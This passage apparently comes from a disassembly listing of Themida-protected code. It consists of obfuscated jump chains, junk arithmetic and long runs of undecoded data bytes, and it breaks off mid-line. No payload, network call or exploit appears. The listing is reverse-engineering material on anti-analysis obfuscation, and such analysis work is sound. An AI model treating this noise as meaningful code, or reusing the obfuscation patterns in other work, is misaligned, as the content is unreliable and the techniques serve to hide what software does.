5FE9240Ch dd 0D2000028h, 0E99C2404h, 9B14h, 9D1C77FFh, 14D35966h dd 9AE99C24h, 21FFFFD6h, 0E8C15BD8h, 52C83108h, 7B4BE954h dd 0ED810000h, 0C8A365Fh, 0C581F501h, 0C8A365Fh, 74FF555Eh dd 8F5D0424h, 815C2404h, 4C4h, 2434FF00h, 57016859h, 4890000h dd 81585424h, 4ECh, 240C8900h, 4BA52h, 0D1890000h, 0FFC8015Ah dd 83592434h, 0B95104C4h, 4, 0E959C801h, 70FFh, 33241431h dd 248B2414h, 240C8924h, 9833E9h, 24348900h, 0F240DE68h dd 0FF2BE969h, 0FBB9FFFFh, 1A3AFA2h, 11E95FF9h db 51h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5842BF: ; CODE XREF: Themida_:005879B2j mov ebp, [esp] add esp, 4 push edx mov edx, 4 add ebp, edx pop edx jmp loc_586CAD ; --------------------------------------------------------------------------- dw 6855h dd 2, 5D59555Dh, 34FFCB29h, 80AFE924h, 0EA810000h, 664840D1h dd 3667C281h, 348B1EB8h, 4C48124h, 57000000h, 2BFh, 8BFA0100h dd 40E9243Ch, 8900006Eh, 0BA522404h, 16E8755Ah, 0BA5AD089h dd 0FFB6BC35h, 7C31C281h, 0BCE9638Bh, 81000085h, 7C5C8CCFh dd 0AABB5303h, 3127FC5Dh, 241C8BDFh, 4C481h, 0F9890000h dd 9156E9h db 0 ; --------------------------------------------------------------------------- loc_584349: ; CODE XREF: Themida_:0058BB3Aj or [edi+20h], edx pop edx sub dword ptr [edi+20h], 65A4158Ah push ecx mov ecx, 4210F84h add ecx, 0FBDEF09Ch jmp loc_58CC0E ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 7E7F6850h, 24890000h, 24048124h, 4, 12A9E958h, 0EC810000h dd 4, 88240C89h, 59CE88D9h, 28B7E9h, 24348B00h, 6C7CE9h dd 5C4C0500h, 13E91231h db 78h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5843A3: ; CODE XREF: Themida_:00584AEBj pop ebx jmp loc_58D02D ; --------------------------------------------------------------------------- db 81h, 0F6h, 0D5h dd 81051274h, 0A82B21CEh, 98FDE956h, 0E9290000h, 95EEE9h dd 40500h, 50520000h, 7C5A55B8h, 0E6BD556Ch, 0E95B381Ch dd 2BEh, 66240C89h, 8877B450h, 305866E5h, 240C8BEAh, 5304C483h dd 0E935B652h, 70ADh, 0A7C5815Dh, 1649C4Bh, 0A7ED81C5h dd 58649C4Bh, 5C242C87h, 57C8BF0Fh, 0BE56E789h, 4, 4488E9h dd 1EA73500h, 0BAE906E6h, 66FFFFEBh db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov ecx, 7B6F4E7Dh push edi mov edi, 4FE53084h or ecx, edi pop edi dec ecx push ecx not dword ptr [esp] pop ecx sub ecx, 67F86386h push eax mov eax, 632B7855h sub ecx, eax jmp loc_58518E ; --------------------------------------------------------------------------- dw 1429h dd 0B9515A24h, 500B0113h, 4E4EC281h, 0CA2961D0h, 4E4EEA81h dd 815961D0h, 9BBDD4C2h, 0E9D129DDh, 0FFFFE9FAh ; --------------------------------------------------------------------------- loc_584478: ; CODE XREF: Themida_:00585095j sub edx, 2 sub esp, 4 jmp loc_584E58 ; --------------------------------------------------------------------------- db 89h dd 0FABD242Ch, 527C8662h, 0FFEF38E9h, 0EBC15DFFh, 0FFB85003h dd 1FFFFFFh, 0D3F758C3h, 0E2E8E955h, 0EC83FFFFh, 240C8904h dd 0DDF6E0B5h, 8007EDC0h, 0E5C089CDh, 97F58008h, 0E959EB28h dd 50DBh, 8B242C87h, 89662424h, 27E92414h, 5C000048h, 5F79E9h dd 9EBA5200h, 87673F6Dh, 0CA8749CAh, 0E906EAC1h, 43F6h dd 5C242C33h, 9C243CD3h, 0FFD3D0E9h db 0FFh ; --------------------------------------------------------------------------- loc_5844F9: ; CODE XREF: Themida_:00584A37j pop eax jmp loc_581A90 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 24043300h, 33240431h, 248B2404h, 0C896624h, 0B60F6624h dd 9C5166C8h, 0FFD3A8E9h, 4EC83FFh, 0FFD5CDE9h, 0C8B66FFh dd 4A10E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_584532: ; CODE XREF: Themida_:00586A68j push 5F20h mov [esp], esi push 1 jmp loc_582B30 ; --------------------------------------------------------------------------- dd 715FBB53h, 0C381115Ah, 411354B9h, 0E905EBC1h, 8488h dd 4EC83ADh, 68243C89h, 27472958h, 125D2D5Fh, 0F8014B4Dh dd 9BCE9h, 4E6ABD00h, 0F58102DCh, 2DC4E6Eh, 34FFEE01h dd 242C8B24h, 0FFF426E9h db 0FFh ; --------------------------------------------------------------------------- loc_584589: ; CODE XREF: Themida_:00587E9Dj pop esp mov fs:[edx], al jmp loc_5818C9 ; --------------------------------------------------------------------------- dw 0DDF7h dd 692EBF57h, 0F7813C79h, 75530593h, 8FDEE9h, 6C2FBA00h dd 1E976DBh, 66FFFFDDh, 39B2525Ah, 7DFEE9h db 0 ; --------------------------------------------------------------------------- loc_5845B9: ; CODE XREF: Themida_:00585F28j add dword ptr [esp+8], 7B7C738Fh jmp loc_58B7E5 ; --------------------------------------------------------------------------- loc_5845C6: ; CODE XREF: Themida_:005856F6j add ch, 1 shr ch, 3 push small 20AEh mov [esp], ax mov al, 0E8h jmp loc_58917D ; --------------------------------------------------------------------------- db 0FFh dd 0D5E9240Ch, 0BD000030h, 2AD06924h, 815DEA21h, 0D44DEDE2h dd 0C283420Fh, 2C28101h, 89FF6FF8h, 0EB015AD5h, 241C335Dh dd 33241C31h, 248B241Ch, 242C8124h, 39190A56h, 55240429h dd 72BEBA52h, 0DAF70337h, 3E89E9h, 2434FF00h, 3B84E9h db 0 ; --------------------------------------------------------------------------- loc_58462D: ; CODE XREF: Themida_:00585DCAj and edx, ecx jmp loc_5881AB ; --------------------------------------------------------------------------- dd 6A57BA52h, 0D6016030h, 1524E95Ah, 82E90000h, 0BFFFFFD2h dd 2, 0FFE952E9h, 0E95B66FFh, 2378h ; --------------------------------------------------------------------------- loc_584658: ; CODE XREF: Themida_:00589C4Cj sub esi, 4 xchg esi, [esp] pop esp mov [esp], esp jmp loc_58D008 ; --------------------------------------------------------------------------- dw 0D001h aDhgzzsoa db '-„hGzZéOA',0 dw 8900h dd 4C281E2h, 83000000h, 148704C2h, 0EC835C24h, 24148904h dd 0CA56DD68h, 0E414E945h, 0D5F7FFFFh, 0E1F2E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58469E: ; CODE XREF: Themida_:0058276Fj add esp, 4 push dword ptr [esp] pop edx sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_58D305 ; --------------------------------------------------------------------------- db 33h, 1Ch, 24h dd 8B24248Bh, 54562404h, 0E924348Bh, 5628h, 357F68h, 24048900h dd 0C76E9h, 24048900h, 3739E9h, 24048B00h, 0E904C483h dd 502h ; --------------------------------------------------------------------------- loc_5846F4: ; CODE XREF: Themida_:0058DBAFj pop edi xor ebx, [esp] jmp loc_589F91 ; --------------------------------------------------------------------------- db 0BDh, 11h, 34h dd 32E91D31h, 8B000093h, 0C483242Ch, 4EC8104h, 0E9000000h dd 3355h, 39B4C781h, 0F701779Fh, 39B4EF81h, 9E9779Fh, 0BFFFFFDAh dd 24E86BBBh, 156EE9h db 0 ; --------------------------------------------------------------------------- loc_584735: ; CODE XREF: Themida_:0058C983j add esp, 4 or edx, eax shl edx, 1 push 1F59h mov [esp], ecx push eax mov eax, 1D6D63B8h shl eax, 7 shl eax, 6 push 5D15h mov [esp], ebx mov ebx, 5F0125B8h or ebx, 5D31486Fh neg ebx dec ebx push edi mov edi, 523266EFh jmp loc_5855B7 ; --------------------------------------------------------------------------- aVsn@ db 'Vé@',0 dw 8100h dd 0DE52DAEFh, 5FFD01CEh, 14A6E9h, 6AE95200h, 83000040h dd 0E95702C7h, 4FFAh, 976DE95Ah, 4BA0000h, 1000000h, 0E9042454h dd 8331h ; --------------------------------------------------------------------------- loc_5847A8: ; CODE XREF: Themida_:00588064j mov ecx, [edx] pop edx push dword ptr [esp] pop ebx jmp loc_584804 ; --------------------------------------------------------------------------- dd 4473BD55h, 0E5C15007h, 70ED8108h, 81569129h, 747C49C5h dd 0F461E919h, 77FFFFFFh, 59669D1Ch, 241CD366h, 5547E99Ch dd 0E0D10000h, 0FFD258E9h, 0C4835BFFh, 206F3104h, 4EC835Dh dd 0B8240489h, 4A407663h, 0ED49022Dh, 0E9D0F75Ah, 0FFFFE53Eh ; --------------------------------------------------------------------------- loc_584804: ; CODE XREF: Themida_:005847AFj add esp, 4 jmp loc_58D85A ; --------------------------------------------------------------------------- dd 6EBC781h, 0EC836213h, 841DE904h, 81590000h, 93CB4EAh dd 6C35E911h, 0C3800000h, 0E9C32893h, 2A17h, 972FE9ACh db 2 dup(0) ; --------------------------------------------------------------------------- loc_584836: ; CODE XREF: Themida_:00581C45j pop ebx jmp loc_584A92 ; --------------------------------------------------------------------------- aFhEsst db 'fh',9,'e阒',0 dd 4BF00h, 0F9010000h, 8B2434FFh, 28E9243Ch db 57h, 2 dup(0) ; --------------------------------------------------------------------------- loc_584857: ; CODE XREF: Themida_:0058596Cj push eax pop ecx pop eax sub [edi+24h], ecx pop ecx sub esp, 4 mov [esp], ebx push dword ptr [esp] pop eax jmp loc_5823A8 ; --------------------------------------------------------------------------- dd 4758ED81h, 814D48C9h, 0A2B689EDh, 1C18E9B8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_584882: ; CODE XREF: Themida_:00582609j mov [esp], ebx sub dword ptr [esp], 67A74C10h mov eax, [esp] push eax jmp loc_58CAC4 ; --------------------------------------------------------------------------- loc_584895: ; CODE XREF: Themida_:005849FDj mov ebp, 235E3313h sub ebp, 0E93670C3h xor edi, ebp pop ebp push edi jmp loc_586807 ; --------------------------------------------------------------------------- db 53h, 0FFh, 74h dd 8F5B0424h, 525C2404h, 520BE9h, 1459BF00h, 0E7810C92h dd 67E348E0h, 19F0CF81h, 17E92EA0h, 0BA000055h, 41E8757Dh dd 0FFD8E4E9h, 4BC681FFh, 0FF323278h, 0E9582434h, 5CD2h dd 2D5EF089h, 1801012Ch, 4D11B951h, 0D1F757B4h, 91BEF181h dd 0C8019B39h, 28CFE9h db 0 ; --------------------------------------------------------------------------- loc_584905: ; CODE XREF: Themida_:00581A06j add esp, 4 jmp loc_58A9BE ; --------------------------------------------------------------------------- loc_584910: ; CODE XREF: Themida_:00589F49j sub ecx, 62F211D1h add ecx, esi add ecx, 62F211D1h pop esi add ecx, 4 xor ecx, [esp] jmp loc_5825F5 ; --------------------------------------------------------------------------- db 1, 0CBh, 59h dd 8B241C87h, 0E1F72424h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 4AB4h mov [esp], edx mov edx, 4E91674h and edx, 29184714h jmp loc_582301 ; --------------------------------------------------------------------------- dd offset dword_4D676C+42FCh align 4 dd 0B1240C89h, 84B4E909h, 348B0000h, 7F46E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58496A: ; CODE XREF: Themida_:0058DA1Fj mov [esp], edi jmp loc_587926 ; --------------------------------------------------------------------------- dw 8953h dd 4C381E3h, 81000000h, 4C3h, 0E142E900h, 0C483FFFFh, 0C0B25202h dd 0E9FFEA80h, 2E41h, 0FFFFC681h, 0F681FFFFh, 0F9DEFFF6h dd 875EF101h, 248B240Ch, 0F9F76624h, 0FFFD23E9h, 87B753FFh dd 0C004EFC0h, 0C7FE03E7h, 80BEE780h, 0FA00BEF7h, 0BCE9805Bh dd 0C180D128h, 0C8285ABCh, 6E95259h, 6600008Eh, 0E9240C8Bh dd 8BFDh, 805BC280h, 0E94BF2h, 0B300006Bh, 8175E9F9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5849F2: ; CODE XREF: Themida_:0058D85Cj mov edi, 4B95220Dh not edi shr edi, 4 push ebp jmp loc_584895 ; --------------------------------------------------------------------------- dw 0E3C1h dd 3CEB8105h, 8137BC65h, 0AC0FC4EDh, 81DD016Dh, 0AC0FC4C5h dd 0ED815B6Dh, 4, 8B242C87h, 0C892424h, 0CE9BE924h, 34FFFFFFh dd 17C4E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_584A36: ; CODE XREF: Themida_:0058419Dj pop edx jmp loc_5844F9 ; --------------------------------------------------------------------------- loc_584A3C: ; CODE XREF: Themida_:0058824Aj mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebp push edi jmp loc_58B093 ; --------------------------------------------------------------------------- aFiPbnapl4SD db '-Ö^”I-p¡NAP‹4$éÅd',0 align 2 dw 0C229h dd 37F28158h, 0F7567A17h, 5525E9DAh, 8B660000h, 0ACE9240Ch dd 83000065h, 348704C6h, 0BE0F5C24h, 6216E9C8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_584A92: ; CODE XREF: Themida_:00584837j push edi mov edi, 50FC71C8h neg edi sub edi, 0AF038E34h add eax, edi pop edi xchg eax, [esp] mov esp, [esp] shr eax, 0Bh xor ecx, eax sub esp, 4 mov [esp], ecx mov ecx, esp push ebx mov ebx, 269A2432h push edi mov edi, 529B591Fh add edi, 63AB0CD4h sub edi, 5B183C42h add ebx, edi pop edi push edi mov edi, 341E5F87h or ebx, edi pop edi and ebx, 19777E6Eh sub ebx, 11565E62h add ecx, ebx jmp loc_5843A3 ; --------------------------------------------------------------------------- dd 240DC181h, 5158515Bh, 42474FFh, 24048F59h, 0B60F665Ch dd 4EC83C8h, 54243489h, 4C6815Eh, 68000000h, 5B47h, 0BA241489h dd 2, 8DDBE9h, 2434FF00h, 4C4815Ah, 0 aYaKstv db 'ÈY€ÃŠéâv',0 align 2 dw 98BAh dd 0E92D5C21h, 8BF2h, 0C581E589h, 4, 8704C583h, 5EE9242Ch dd 0F7000004h, 0F3E581D5h, 812FD307h, 73FBC2EDh, 0E9EB29DCh dd 4515h ; --------------------------------------------------------------------------- loc_584B6C: ; CODE XREF: Themida_:005868B2j add esp, 4 jmp loc_581915 ; --------------------------------------------------------------------------- dd 655168h, 24348900h, 0E04065BEh, 4EC832Ah, 89240C89h dd 59CD89F1h, 8124348Bh, 4C4h, 45BA5200h, 14D2C36h, 24148BD0h dd 4C481h, 0E8E90000h db 21h, 2 dup(0) ; --------------------------------------------------------------------------- loc_584BAB: ; CODE XREF: Themida_:00589EE6j xor edx, 351D036h add eax, edx jmp loc_582DA2 ; --------------------------------------------------------------------------- dd 68h, 24142800h, 8324148Ah, 63E904C4h, 83000018h, 3C8904ECh dd 0A1E95224h, 33000006h, 34312434h, 24343324h, 0FE24248Bh dd 0E99C2404h, 0FFFFCCDDh, 34FFCB01h, 453DE924h, 81050000h dd 8B36477Ah, 0EC812434h, 4, 0E9243C89h, 5045h ; --------------------------------------------------------------------------- loc_584C0C: ; CODE XREF: Themida_:00585781j add esi, 4 sub esi, 4 xor esi, [esp] xor [esp], esi jmp loc_589166 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFCCA1h, 81242489h, 42404h, 0ACE90000h, 31000073h dd 50E95DEFh, 8900003Bh, 6852241Ch, 1D507621h, 8124148Bh dd 4C4h, 3C05E900h, 0C5810000h, 0F02BBC45h, 15DE889h, 24048BC6h dd 4C481h, 34330000h, 24343124h, 0E9243433h, 83A0h, 24048B66h dd 17D968h, 243C8900h, 4EC81h, 24890000h, 24048324h, 243C8B04h dd 5504C483h, 4BDh, 4B0E900h, 0E9570000h, 3E3Dh, 5C240487h dd 46A2E9h, 0AEBD5500h, 0C123114Ch, 0C14D02EDh, 9DE904E5h dd 89000035h, 0C7E92414h, 8F000044h, 248B2404h, 2424D324h dd 2129E99Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_584CDA: ; CODE XREF: Themida_:0058CA98j add esp, 4 jmp loc_58281B ; --------------------------------------------------------------------------- dw 8B5Fh dd 0E5E9242Ch, 8BFFFFE8h, 5457242Ch, 83243C8Bh, 0C78104C4h dd 4, 4C781h, 3C870000h, 0E9585C24h, 6AF8h ; --------------------------------------------------------------------------- loc_584D0C: ; CODE XREF: Themida_:0058A8E5j mov edi, 0FB342EDh shl edi, 2 shl edi, 2 inc edi push edx mov edx, 12373E79h push eax mov eax, 41B1333Ah and eax, 1B3D6737h jmp loc_58ACE8 ; --------------------------------------------------------------------------- loc_584D2E: ; CODE XREF: Themida_:00587AC9j mov esi, ecx pop ecx push ecx mov ecx, 2866403Fh jmp loc_587259 ; --------------------------------------------------------------------------- loc_584D3C: ; CODE XREF: Themida_:005885C5j add eax, edi sub eax, 45B73C9h pop edi add ebp, 0F746E5Ah sub ebp, 6D4A63E9h add ebp, eax add ebp, 6D4A63E9h sub ebp, 0F746E5Ah mov eax, [esp] push esi mov esi, esp jmp loc_5877B3 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 2B00E924h, 0F5810000h, 0ECB62CA5h, 815DE989h, 94FEFBC1h dd 59CE0945h, 8BF8C681h, 0F50924CBh, 7FECE9h, 20F56800h dd 8F540000h, 94E92404h, 57000026h, 0CA33CBBFh, 0CF78171h dd 4F0E280Ch, 0C781D7F7h, 8AF8783Fh, 0E95FFE89h, 8DC6h dd 53242C89h, 230F59BBh, 1599BD70h, 0ED81C544h, 4783616Eh dd 0A1E9DD29h, 5800005Eh, 2C181h, 0E9510000h, 833Bh ; --------------------------------------------------------------------------- loc_584DE4: ; CODE XREF: Themida_:00586A04j shr edx, 1 cmp eax, edx jz loc_58CC17 push esi jmp loc_588C76 ; --------------------------------------------------------------------------- loc_584DF4: ; CODE XREF: Themida_:00586AE8j pop ebx sub ecx, 2993C7A8h jmp loc_58B6DE ; --------------------------------------------------------------------------- dd 6B85055h, 0BD0EF43Ah, 4155A5F0h, 48BC529h, 4C48324h dd 0AA5304BEh, 8473E966h, 32D0000h, 8B40A95Dh, 0DDE92414h dd 29000055h, 31DE31F3h, 5BDE31F3h, 74FBE950h, 14870000h dd 0E1E95C24h, 87000049h, 0E95C240Ch, 1F21h, 33243C31h dd 0E95C243Ch, 0FFFFD096h ; --------------------------------------------------------------------------- loc_584E58: ; CODE XREF: Themida_:0058447Ej mov [esp], edx push dword ptr [esp+4] jmp loc_5820D5 ; --------------------------------------------------------------------------- aI4RRsSc db '‰4$Rº&Rs',1Bh,'é—^',0 align 2 dw 0E968h dd 5F0C1A4Eh, 0FFDC1AE9h db 0FFh ; --------------------------------------------------------------------------- loc_584E7D: ; CODE XREF: Themida_:00582057j dec edx push ebx mov ebx, 6C015026h inc ebx jmp loc_583199 ; --------------------------------------------------------------------------- dw 3C8Bh dd 0E43FE924h, 0C181FFFFh, 738A7B50h, 0A6E9E901h db 4Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_584E9F: ; CODE XREF: Themida_:0058BEE0j xchg ebp, [esp] pop esp push 28E4h jmp loc_5873DC ; --------------------------------------------------------------------------- align 2 dw 59C8h dd 8124148Bh, 4C4h, 2EC8100h, 0E9000000h, 5603h, 0E9B2EB80h dd 668Fh, 33B90B8h, 3B8C2D4Ch, 7DE94C03h, 55000053h, 8904EC83h dd 4832424h, 99E90424h, 5900006Ch, 1160605h, 2DF8010Eh dd 0E011606h, 0FD5E9h, 81C60100h, 191D6BC6h, 0BE565508h dd 5FA952EEh, 16CD02BDh, 5EF5010Ch, 4EC81h, 14890000h dd 0BA24h, 0EA810000h, 3CDD63CFh, 0FFDA84E9h, 125D05FFh dd 3C8B4B4Dh, 0E3895324h, 4C381h, 0C1E90000h, 83000031h dd 0B7E904C3h, 0FF00003Dh, 5B042474h, 5C24048Fh, 0FFE95CE9h dd 80D5F6FFh, 0E58691C5h, 0E586D4F6h, 2AA3E9h, 0A2C28000h dd 148BD000h, 6736E924h, 44680000h, 89000077h, 0E0892404h dd 405h, 8ACCE900h, 1C890000h, 0EB37E924h, 489FFFFh, 974B824h dd 2D5065h, 29347ABBh, 1AE958C5h db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_584FA7: ; CODE XREF: Themida_:005873E6j push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] jmp loc_58C16C ; --------------------------------------------------------------------------- db 5Ch, 53h, 89h dd 4C381E3h, 83000000h, 0E95304C3h, 0FFFFFF83h, 37A0E953h dd 55680000h, 8900004Eh, 6AE9241Ch, 0F600005Bh, 66DA88D3h dd 0D2B7535Bh, 0FFE2CCE9h, 4C483FFh, 8704C083h, 8B5C2404h dd 8952240Ch, 4C281E2h, 83000000h, 148704EAh, 3B3E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58500A: ; CODE XREF: Themida_:0058BB7Fj xor ecx, [esp] pop esp add edx, 0EFB963BCh mov ebp, edx pop edx xor ebp, ecx mov ecx, [esp] add esp, 4 and ecx, ebp pop ebp shr ecx, 7 jmp loc_5835F3 ; --------------------------------------------------------------------------- loc_58502D: ; CODE XREF: Themida_:0058B8DBj push dword ptr [esp] jmp loc_583B73 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 592434FFh, 7CE68h, 24348900h, 8235E9h, 37BB5300h, 0E961184Eh dd 0FFFFF731h, 6824248Bh, 502Bh, 0BD242C89h, 70320FC8h dd 0FFEFC0E9h, 240481FFh, 4, 4BA5258h, 0E9000000h, 5E21h dd 872AE953h, 0C15A0000h, 2AE907E2h db 0E3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58508B: ; CODE XREF: Themida_:005893CBj xchg ebp, [esp] pop esp add edx, 4 jmp loc_584478 ; --------------------------------------------------------------------------- loc_58509A: ; CODE XREF: Themida_:00581CA1j pop ebp jmp loc_58D7C5 ; --------------------------------------------------------------------------- dd 4244481h, 613C0879h, 4245401h, 80E0E9h, 40500h, 42D0000h dd 87000000h, 81E92404h, 66FFFFCCh, 92B05052h, 1E9F02Ch db 87h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5850CF: ; CODE XREF: Themida_:0058C533j mov esp, [esp] or eax, eax jz loc_587FF3 push dword ptr [edi+28h] push dword ptr [esp] push dword ptr [esp] pop eax push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] push 2AB4h mov [esp], ecx mov ecx, esp push ebx mov ebx, 417450Dh inc ebx xor ebx, 49D32926h not ebx sub ebx, 198B2023h or ebx, 202E0E92h xor ebx, 0B8BE7FB2h add ecx, ebx pop ebx jmp loc_581CAF ; --------------------------------------------------------------------------- db 4Bh, 81h, 0C3h dd 40CD4FE8h, 0FFFFB850h, 0C301FFFFh, 3BBE5658h, 0C107DB1Bh dd 0B8E908EEh, 8100001Bh, 7B4F58CDh, 0F440E90Fh, 0EF01FFFFh dd 25E9505Dh, 100002Fh, 243C8BFBh, 5E08950h, 4, 8704C083h dd 295C2404h, 0B2EB81C3h, 57593050h, 0C781E789h, 4, 4EF81h dd 3C870000h, 353CE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58518E: ; CODE XREF: Themida_:0058444Dj pop eax add ecx, 5BCA0F72h push ebx push eax jmp loc_58BF5D ; --------------------------------------------------------------------------- dd 7391F581h, 25E94004h, 50FFFFE6h, 885EB353h, 0B5515BDCh dd 59EC0847h, 0E4C0DCF6h, 1CB65206h, 805AF428h, 0E128DBC4h dd 2E1C058h, 0E9C0D1F6h, 80C1FE02h, 432C20C1h, 4304C800h dd 0A4B15159h, 0E903E1C0h, 5279h, 55241C8Bh, 7D14E9h, 0E0E9AD00h dd 81FFFFE1h, 5BDD242Ch, 68E9193Ah, 83000087h, 34FF04C4h dd 0C4835A24h, 60B25204h, 0E908EAC0h, 0FFFFF9A4h, 0F135F181h dd 0E181B655h, 6D0653AAh, 0EFDAC181h, 0EF8196FBh, 779756Fh dd 7E99E9h, 0C032B500h, 0F58004EDh, 57B75312h, 0FE0FB551h dd 6BC580CDh, 0E956C580h, 0FFFFE0E6h ; --------------------------------------------------------------------------- loc_58524C: ; CODE XREF: Themida_:0058DC45j add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp jmp loc_581A48 ; --------------------------------------------------------------------------- db 81h dd 9CCB56C5h, 1C8B555Ch, 4C48124h, 0E9000000h, 6AFAh, 5A1BB668h dd 24148B4Ch, 0E904C483h, 4ED9h, 24048B66h, 4EC81h, 2C890000h dd 85E95424h, 100001Ch, 0C3895AD0h, 2850E958h, 0ED810000h dd 0FB55D3EBh, 0FFE96BE9h, 240489FFh, 0DA29585Bh, 0E9241C8Bh dd 0FFFFD99Dh, 7878E95Dh, 34FF0000h, 0C4815924h, 4, 4C181h dd 0BB530000h, 4, 515BD901h, 5F75E9h, 24148900h, 5B85E9h dd 0FEDFF600h, 1EF80CFh, 2832EF80h, 4A15E9F8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5852FE: ; CODE XREF: Themida_:00587B54j push eax mov ah, 0DAh mov ch, ah jmp loc_58D523 ; --------------------------------------------------------------------------- dd 7F5CE95Eh, 8B660000h, 5456240Ch, 0FFDD24E9h, 6E1C0FFh dd 0E9C0C9FEh, 0E3A6E906h, 148BFFFFh, 0D101E924h, 3C33FFFFh dd 0FB16E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_585336: ; CODE XREF: Themida_:0058D172j mov [esp], edi mov edi, 0CFB5CD06h xor ebp, edi pop edi mov ebx, ebp jmp loc_5840C1 ; --------------------------------------------------------------------------- dd 81DEF75Fh, 0C7B543F6h, 0ACE95626h, 8900002Bh, 405E0h dd 42D0000h, 87000000h, 248B2404h, 24348924h, 24348B54h dd 8104C483h, 4C6h, 2BB5300h, 0E9000000h, 0FFFFE453h, 840FC00Bh dd 7790h, 521C77FFh, 0CE578BBAh, 0FD06E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58539A: ; CODE XREF: Themida_:00586F35j xor dl, ah pop eax or dl, 0C9h shr dl, 1 dec dl xor dl, 0AEh mov ch, dl jmp loc_588E0D ; --------------------------------------------------------------------------- loc_5853AE: ; CODE XREF: Themida_:0058D4C1j add ebx, 71B6331Dh shr ebx, 5 dec ebx jmp loc_58B071 ; --------------------------------------------------------------------------- db 5Ch, 89h, 2Ch dd 4EC8324h, 83242489h, 8B042404h, 0B4E9242Ch, 5F00000Dh dd 4C781h, 0C7830000h, 243C8702h, 6824248Bh, 7EE4h, 68240C89h dd 7C85h, 88240489h, 0EC8152D0h, 4, 88240C89h, 59EE88C5h dd 4041E950h, 0EBC10000h, 4429E904h, 52570000h, 0B44E1768h dd 0F2815A22h, 73D03087h, 10CDCA81h, 0F28160ABh, 41C7C14h dd 6BA4E9h, 0D6CC8000h, 5CB15166h, 0FE9CC30h, 5A000014h dd 0E958C629h, 703Ch, 41D68h, 24348900h, 0C681E689h, 4 dd 5DC568h, 242C8900h, 0E759B6BDh, 37CD8150h, 450A9F39h dd 0E906EDC1h, 0FFFFF3FCh, 242C335Bh, 33242C31h, 0CCE9242Ch dd 0BFFFFFD9h, 6AAE2428h, 0D6E9FB89h, 5200006Dh, 40EB4BAh dd 5EAC122h, 0B281EA81h, 0D689DAA8h, 0F73E9h, 241C8900h dd 8B2434FFh, 0C1E92404h, 8300008Ah, 0D50804C4h, 0E924148Bh dd 0FFFFF2B1h, 0B1E997B5h, 2CFFFFDAh, 4D828BBh, 58B551BBh dd 5066CDFEh, 0C5303EB0h, 0E8005866h, 8A2BE9h, 46C38000h dd 1C8BD988h, 4C48124h, 80000000h, 7AE9FFC1h, 66FFFFDCh dd 5124048Bh, 0C181E189h, 4, 4EC81h, 4890000h, 147BE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_585512: ; CODE XREF: Themida_:00586E26j xor ebp, [esp] xor [esp], ebp jmp loc_583FF9 ; --------------------------------------------------------------------------- loc_58551D: ; CODE XREF: Themida_:0058ADA8j mov [esp], ebx push dword ptr [esp+4] push dword ptr [esp] pop ebx jmp loc_58A579 ; --------------------------------------------------------------------------- db 59h, 83h, 0C4h dd 26BF5704h, 1613D69h, 0AE95FF9h, 81000074h, 3C759EF5h dd 0E2ED812Ah, 1C98F33h, 0F6815DEEh, 53A42B72h, 68D6B850h dd 0EA053D21h, 2D37821Ah, 23FB58EAh, 8FE9D8F7h, 0BD00002Ch dd 4F1163C8h, 6141ED81h, 0F7E95B26h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58557B: ; CODE XREF: Themida_:005819A3j pop eax add esp, 4 jmp loc_585DAC ; --------------------------------------------------------------------------- loc_585584: ; CODE XREF: Themida_:00582A92j add eax, 4 jmp loc_589739 ; --------------------------------------------------------------------------- dw 348Bh dd 4C48324h, 4C681h, 0BA520000h, 4, 3F99E9h db 0 ; --------------------------------------------------------------------------- loc_5855A5: ; CODE XREF: Themida_:00582B33j sub esp, 4 mov [esp], ebp push esi jmp loc_589C44 ; --------------------------------------------------------------------------- db 5Bh, 0E9h, 0B5h db 15h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5855B7: ; CODE XREF: Themida_:0058476Cj sub ebx, edi pop edi add ebx, 59C0110Dh jmp loc_582CEA ; --------------------------------------------------------------------------- aTs db 'ÑâéÈ-',0 align 4 dd 81241C8Bh, 4C4h, 4D00000h, 815A66D5h, 4ECh, 24148900h dd 0C281E289h, 4, 4BF57h, 0FA290000h, 3474E9h, 95E95A00h dd 58FFFFF1h, 0E9C39D61h, 0FFFFC2C1h, 242CD366h, 0C2B7E99Ch dd 0B2E9FFFFh, 5EFFFFC2h, 5FE3E9h db 0 ; --------------------------------------------------------------------------- loc_58561D: ; CODE XREF: Themida_:00582E4Aj push 3D26h jmp loc_585F01 ; --------------------------------------------------------------------------- db 5 dd 4, 6BC968h, 24348900h, 0C61106BEh, 0C3CE8135h, 5332ED5Ch dd 323C37BBh, 